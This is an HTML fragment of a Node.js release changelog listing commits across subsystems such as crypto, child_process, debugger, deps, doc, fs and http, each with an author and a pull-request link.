<li>[<a href="https://github.com/nodejs/node/commit/63502b7404"><code>63502b7404</code></a>] - <strong>build,win</strong>: fix VS2022 arm64 PGO build (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/63413" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63413/hovercard">#63413</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe4e4055d0"><code>fe4e4055d0</code></a>] - <strong>child_process</strong>: fix permission model propagation via NODE_OPTIONS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63972/hovercard">#63972</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa2f3c066e"><code>aa2f3c066e</code></a>] - <strong>child_process</strong>: pass spawn options to the binding positionally (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63930/hovercard">#63930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fcf32cf77a"><code>fcf32cf77a</code></a>] - <strong>child_process</strong>: serialize advanced IPC messages natively (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63933/hovercard">#63933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7907134734"><code>7907134734</code></a>] - <strong>crypto</strong>: reject small-order EdDSA points during verify (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64026/hovercard">#64026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b505cd5465"><code>b505cd5465</code></a>] - <strong>crypto</strong>: support non-byte WebCrypto lengths and cSHAKE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63988" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63988/hovercard">#63988</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0f54a872e2"><code>0f54a872e2</code></a>] - <strong>crypto</strong>: share WebCrypto method and usage helpers (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63975/hovercard">#63975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/824ec11c05"><code>824ec11c05</code></a>] - <strong>crypto</strong>: refactor keyObject.toCryptoKey() and SubtleCrypto.getPublicKey() (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63622" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63622/hovercard">#63622</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73aba92689"><code>73aba92689</code></a>] - <strong>crypto</strong>: coerce -0 to +0 before native calls (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c83b79874e"><code>c83b79874e</code></a>] - <strong>crypto</strong>: reject invalid raw key imports (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63134/hovercard">#63134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/934fda64b9"><code>934fda64b9</code></a>] - <strong>crypto</strong>: improve accuracy of SubtleCrypto.supports (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63104" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63104/hovercard">#63104</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e392e1f791"><code>e392e1f791</code></a>] - <strong>crypto</strong>: fix large DH generator validation (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64092/hovercard">#64092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e75a363e70"><code>e75a363e70</code></a>] - <strong>crypto</strong>: use EVP_MAC for HMAC on OpenSSL &gt;=3 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63942/hovercard">#63942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/adbaf7af9b"><code>adbaf7af9b</code></a>] - <strong>crypto</strong>: make webcrypto aliasKeyFormat directional (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63910" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63910/hovercard">#63910</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb1aea8897"><code>bb1aea8897</code></a>] - <strong>crypto</strong>: fix unhandled error in Hash._transform (Haram Jeong) <a href="https://github.com/nodejs/node/pull/63261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63261/hovercard">#63261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12c87732c1"><code>12c87732c1</code></a>] - <strong>crypto</strong>: handle cipher context allocation failures (Tian Teng) <a href="https://github.com/nodejs/node/pull/63542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63542/hovercard">#63542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/858496b453"><code>858496b453</code></a>] - <strong>crypto</strong>: deduplicate X509 subject matching logic (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63644/hovercard">#63644</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a29cb0964"><code>9a29cb0964</code></a>] - <strong>crypto</strong>: fix warnings in test_node_crypto.cc (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63490/hovercard">#63490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8bb536066d"><code>8bb536066d</code></a>] - <strong>crypto</strong>: optimize normalizeAlgorithm dispatch hot path (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62756" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62756/hovercard">#62756</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/329e5496ff"><code>329e5496ff</code></a>] - <strong>crypto,tls</strong>: do not ignore BN_get_word error (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63895/hovercard">#63895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97b7a3f9c7"><code>97b7a3f9c7</code></a>] - <strong>debugger</strong>: add --max-hit option to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63704/hovercard">#63704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9098585c5e"><code>9098585c5e</code></a>] - <strong>debugger</strong>: add more logs to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63663/hovercard">#63663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59cca26cd5"><code>59cca26cd5</code></a>] - <strong>debugger</strong>: surface inspector failures in probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63437" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63437/hovercard">#63437</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2922290eae"><code>2922290eae</code></a>] - <strong>debugger</strong>: disambiguate probe location binding (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63286" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63286/hovercard">#63286</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6fb2c2c7e2"><code>6fb2c2c7e2</code></a>] - <strong>debugger</strong>: lazily wait for initial break output (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63969/hovercard">#63969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/688e792551"><code>688e792551</code></a>] - <strong>debugger</strong>: defer probe pause handling until startup (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63608" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63608/hovercard">#63608</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ac93cc05a"><code>1ac93cc05a</code></a>] - <strong>debugger</strong>: await initialization after run and restart (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63607/hovercard">#63607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92a909cf72"><code>92a909cf72</code></a>] - <strong>debugger,test</strong>: deflake resume failure test and add debug logs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63524/hovercard">#63524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b37af8b11"><code>8b37af8b11</code></a>] - <strong>deps</strong>: V8: backport bef0d9c1bc90 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62132" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62132/hovercard">#62132</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8832126422"><code>8832126422</code></a>] - <strong>deps</strong>: V8: cherry-pick 64b36b441179 (Dan Carney) <a href="https://github.com/nodejs/node/pull/61712" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61712/hovercard">#61712</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75990c2cd6"><code>75990c2cd6</code></a>] - <strong>deps</strong>: update googletest to 8b53336594cc52213c6c2c7a0b29194fa896d039 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64181/hovercard">#64181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8500c7ba86"><code>8500c7ba86</code></a>] - <strong>deps</strong>: update sqlite to 3.53.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64180/hovercard">#64180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc78091b45"><code>dc78091b45</code></a>] - <strong>deps</strong>: c-ares: cherry-pick 8ba37af8e3fb (René) <a href="https://github.com/nodejs/node/pull/64110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64110/hovercard">#64110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873cc72125"><code>873cc72125</code></a>] - <strong>deps</strong>: update googletest to 0b1e895ba4226c2fda5ee0178c9b5b1195a741aa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64039" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64039/hovercard">#64039</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d3d166538"><code>1d3d166538</code></a>] - <strong>deps</strong>: update acorn to 8.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63901/hovercard">#63901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35222948be"><code>35222948be</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>deps</strong>: update OpenSSL build config to support compression (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e40cee5f79"><code>e40cee5f79</code></a>] - <strong>deps</strong>: upgrade npm to 11.17.0 (npm team) <a href="https://github.com/nodejs/node/pull/63857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63857/hovercard">#63857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85c6d46606"><code>85c6d46606</code></a>] - <strong>deps</strong>: add ngtcp2_fmt.c to build configuration (ngtcp2.gyp) (沈鸿飞) <a href="https://github.com/nodejs/node/pull/63821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63821/hovercard">#63821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2ea8b7a8c"><code>d2ea8b7a8c</code></a>] - <strong>deps</strong>: update googletest to 7140cd416cecd7462a8aae488024abeee55598e4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63775/hovercard">#63775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/25b4d57bb6"><code>25b4d57bb6</code></a>] - <strong>deps</strong>: update sqlite to 3.53.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63774" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63774/hovercard">#63774</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a96368e4c7"><code>a96368e4c7</code></a>] - <strong>deps</strong>: update zlib to 1.3.2.1-motley-3246f1b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63773/hovercard">#63773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b59f1f5f37"><code>b59f1f5f37</code></a>] - <strong>deps</strong>: update amaro to 1.1.10 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63670/hovercard">#63670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b3b56ee95"><code>0b3b56ee95</code></a>] - <strong>deps</strong>: update googletest to 8736d2cd5c1dcba41170ed2fddca14021d4916c3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63669" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63669/hovercard">#63669</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa67b5b9c4"><code>aa67b5b9c4</code></a>] - <strong>dgram</strong>: add synchronous Socket connectSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63932/hovercard">#63932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef38374875"><code>ef38374875</code></a>] - <strong>dgram</strong>: add synchronous Socket.prototype.bindSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63838/hovercard">#63838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6edc3a9967"><code>6edc3a9967</code></a>] - <strong>dgram</strong>: skip dns.lookup() for literal IP addresses (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/64133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64133/hovercard">#64133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4cfe2d8ac"><code>d4cfe2d8ac</code></a>] - <strong>dns</strong>: coerce -0 to +0 in lookup and resolver inputs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91c9ce5a45"><code>91c9ce5a45</code></a>] - <strong>doc</strong>: improve <code>fs.StatFs</code> properties descriptions (aymanxdev) <a href="https://github.com/nodejs/node/pull/62578" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62578/hovercard">#62578</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54e21675fa"><code>54e21675fa</code></a>] - <strong>doc</strong>: fix inconsistencies in CJS code snippets (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63199" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63199/hovercard">#63199</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64c23daa76"><code>64c23daa76</code></a>] - <strong>doc</strong>: remove typo comma from man page (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/63080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63080/hovercard">#63080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc943cd34a"><code>bc943cd34a</code></a>] - <strong>doc</strong>: update Http2SecureServer.on("timeout") default value (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/64187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64187/hovercard">#64187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a46bc452a6"><code>a46bc452a6</code></a>] - <strong>doc</strong>: add note on visibility of CI failures to new contributor guide (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64256/hovercard">#64256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0fb52506c"><code>c0fb52506c</code></a>] - <strong>doc</strong>: clarify HTTP/1.1 response ordering (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64213/hovercard">#64213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3073a7ba6"><code>d3073a7ba6</code></a>] - <strong>doc</strong>: recommend node-stress-single-test for flaky tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64223" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64223/hovercard">#64223</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb9951ead0"><code>bb9951ead0</code></a>] - <strong>doc</strong>: fix typo in examples (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/64184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64184/hovercard">#64184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe674e96fc"><code>fe674e96fc</code></a>] - <strong>doc</strong>: clarify defense-in-depth issues (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64215/hovercard">#64215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/faad042184"><code>faad042184</code></a>] - <strong>doc</strong>: add guide and answers to FAQs for first-time contributors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63685" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63685/hovercard">#63685</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79d685adf3"><code>79d685adf3</code></a>] - <strong>doc</strong>: update <code>Http2Server.close</code> &amp; <code>Http2SecureServer.close</code> (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63298/hovercard">#63298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/744e40e05e"><code>744e40e05e</code></a>] - <strong>doc</strong>: update list of people in <code>SECURITY.md</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/64152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64152/hovercard">#64152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/185f57c4a4"><code>185f57c4a4</code></a>] - <strong>doc</strong>: add missing option to man page (Richard Lau) <a href="https://github.com/nodejs/node/pull/64156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64156/hovercard">#64156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8933303568"><code>8933303568</code></a>] - <strong>doc</strong>: fix callback example import in fs docs (Kamal Rawal) <a href="https://github.com/nodejs/node/pull/63912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63912/hovercard">#63912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a0549dacb"><code>3a0549dacb</code></a>] - <strong>doc</strong>: fix keepAliveTimeout default in http.createServer options (Jahanzaib iqbal) <a href="https://github.com/nodejs/node/pull/63974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63974/hovercard">#63974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a35e48d08"><code>5a35e48d08</code></a>] - <strong>doc</strong>: add sxa GPG key (ed25519) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64193" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64193/hovercard">#64193</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66e7f815f1"><code>66e7f815f1</code></a>] - <strong>doc</strong>: add aduh95 to last security release steward (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63981" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63981/hovercard">#63981</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a7e35040dd"><code>a7e35040dd</code></a>] - <strong>doc</strong>: fix typo in util.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63961/hovercard">#63961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d74b3a7e90"><code>d74b3a7e90</code></a>] - <strong>doc</strong>: clarify callback exceptions (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63939" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63939/hovercard">#63939</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7a8f8fabd"><code>b7a8f8fabd</code></a>] - <strong>doc</strong>: fix incorrect test runner mock examples (Kimaswa Emmanuel Yusufu) <a href="https://github.com/nodejs/node/pull/63656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63656/hovercard">#63656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f11aa690cd"><code>f11aa690cd</code></a>] - <strong>doc</strong>: fix typo in cli.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63883/hovercard">#63883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df85f50269"><code>df85f50269</code></a>] - <strong>doc</strong>: fix typo in vm.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63881/hovercard">#63881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a00a567175"><code>a00a567175</code></a>] - <strong>doc</strong>: fix typo in packages.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63882/hovercard">#63882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/206c1b8437"><code>206c1b8437</code></a>] - <strong>doc</strong>: fix a/an article typos in module, util, and dns (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63766/hovercard">#63766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e3e5ef1cff"><code>e3e5ef1cff</code></a>] - <strong>doc</strong>: update npm supported versions link (hojeong park) <a href="https://github.com/nodejs/node/pull/63672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63672/hovercard">#63672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e3c4852413"><code>e3c4852413</code></a>] - <strong>doc</strong>: fix AES-OCB IV length in SubtleCrypto.supports example (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63717/hovercard">#63717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b3fbc82d7"><code>0b3fbc82d7</code></a>] - <strong>doc</strong>: add webstreams to args for <code>pipeline</code> from <code>stream/promises</code> (David Sanders) <a href="https://github.com/nodejs/node/pull/63628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63628/hovercard">#63628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62078a8328"><code>62078a8328</code></a>] - <strong>doc</strong>: fix "used to sent" → "used to send" in http2 (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63700/hovercard">#63700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd74eefb23"><code>fd74eefb23</code></a>] - <strong>doc</strong>: clarify tty raw mode applies to input processing only (Muhammad Zeeshan) <a href="https://github.com/nodejs/node/pull/63438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63438/hovercard">#63438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42cd7e47de"><code>42cd7e47de</code></a>] - <strong>doc</strong>: add worker_threads history entries (Bob Put) <a href="https://github.com/nodejs/node/pull/63545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63545/hovercard">#63545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d6ab039f24"><code>d6ab039f24</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56bdd87378"><code>56bdd87378</code></a>] - <strong>doc</strong>: move hyperlinks outside of text blocks (Aviv Keller) <a href="https://github.com/nodejs/node/pull/63493" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63493/hovercard">#63493</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1da05fb79d"><code>1da05fb79d</code></a>] - <strong>doc</strong>: mark stream.compose stable (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62562" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62562/hovercard">#62562</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bb6dab70c"><code>7bb6dab70c</code></a>] - <strong>doc,crypto</strong>: mark argon2 and encap/decap as stable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63924/hovercard">#63924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a4edb3c22"><code>1a4edb3c22</code></a>] - <strong>doc,lib</strong>: align WebCrypto names with spec (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63518" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63518/hovercard">#63518</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c1636dabf"><code>3c1636dabf</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0f211ca79"><code>e0f211ca79</code></a>] - <strong>events</strong>: improve <code>addAbortListener</code> perf by caching options object (Raz Luvaton) <a href="https://github.com/nodejs/node/pull/52367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/52367/hovercard">#52367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a124429b36"><code>a124429b36</code></a>] - <strong>fs</strong>: do not treat EPERM as ENOTEMPTY on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/63709" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63709/hovercard">#63709</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e323e877be"><code>e323e877be</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied readFile() buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a41b4824d7"><code>a41b4824d7</code></a>] - <strong>fs</strong>: prevent spurious recursive watch events on prefix siblings (Marco) <a href="https://github.com/nodejs/node/pull/63095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63095/hovercard">#63095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c63e00e3a5"><code>c63e00e3a5</code></a>] - <strong>fs</strong>: ignore deleted dirs in recursive watch scan (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63686" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63686/hovercard">#63686</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3d7cd05e3"><code>d3d7cd05e3</code></a>] - <strong>fs</strong>: coerce -0 to +0 in mode flags and watch intervals (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f6387ecb3"><code>6f6387ecb3</code></a>] - <strong>gyp</strong>: update deps gypfiles (Nad Alaba) <a href="https://github.com/nodejs/node/pull/63117" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63117/hovercard">#63117</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/592544af44"><code>592544af44</code></a>] - <strong>http</strong>: document and validate options.path when it's in absolute-form (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64108" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64108/hovercard">#64108</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c1248c9544"><code>c1248c9544</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add httpValidation option to configure header value validation (RajeshKumar11) <a href="https://github.com/nodejs/node/pull/61597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61597/hovercard">#61597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85a223bf15"><code>85a223bf15</code></a>] - <strong>http</strong>: fix drain event with cork/uncork (David Evans) <a href="https://github.com/nodejs/node/pull/64038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64038/hovercard">#64038</a></li>
